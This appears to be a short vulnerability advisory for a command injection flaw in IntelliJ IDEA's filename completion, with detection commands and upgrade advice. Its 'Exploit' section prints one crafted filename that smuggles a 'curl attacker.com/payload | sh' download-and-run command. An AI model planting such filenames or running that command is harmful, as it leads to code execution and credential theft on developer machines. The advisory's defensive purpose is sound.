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CVE-2026-49366 is a critical command injection vulnerability impacting JetBrains IntelliJ IDEA versions prior to 2026.1.1. The core flaw resides within the IDE’s filename completion and handling routine, where user-supplied or repository-included filenames containing shell metacharacters are improperly neutralized. When a developer interacts with a malicious project repository, the integrated environment processes these specially crafted filenames. Instead of treating the filename strictly as a literal string or passing it safely via an argument array, the underlying logic appends or interpolates the raw string into an operating system command shell execution context. This lack of robust input sanitization or proper escaping allows an attacker to inject arbitrary shell commands directly into the execution flow. When the completion or helper feature triggers, the injected payload executes instantly with the full user privileges associated with the running IDE process. Because development environments routinely hold powerful credentials, this behavior creates an immediate risk profile. Attackers can leverage the resulting command execution to silently exfiltrate sensitive files, API secrets, cloud deployment tokens, SSH keys, and source code repositories stored locally on the developer’s workstation. The attack vector requires no authentication or network interaction beyond the victim opening or examining an untrusted project directory containing the malicious file structures. The vulnerability demonstrates how complex integrated features that interact with the underlying host operating system can introduce severe security risks if external input boundaries are not rigorously defended against command injection attacks.
DailyCVE Form:
Platform: IntelliJ IDEA
Version: Pre-2026.1.1
Vulnerability: Command Injection
Severity: Critical
date: June 2026
Prediction: Patched Date
What Undercode Say:
Analysis of the IDE codebase reveals that file completion routines fail to sanitize metacharacters properly.
Checking for malicious filenames with shell metacharacters find . -name ";" -o -name "|" -o -name "`"
Inspecting IDE child process invocations ps -ef | grep java
Exploit: (Educational Purposes!)
An attacker creates a specially crafted filename containing shell operators within a repository:
touch "normal_file.txt; curl http://attacker.com/payload | sh"
When the developer uses filename completion in the IDE, the shell command executes automatically under the user context.
Protection:
Upgrade IntelliJ IDEA to version 2026.1.1 or later immediately. Avoid opening untrusted project repositories or archives without inspection.
Impact:
Full remote code execution on the developer workstation, leading to theft of local credentials, SSH keys, cloud tokens, and sensitive source code repositories.
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Sources:
Reported By: github.com
Extra Source Hub:
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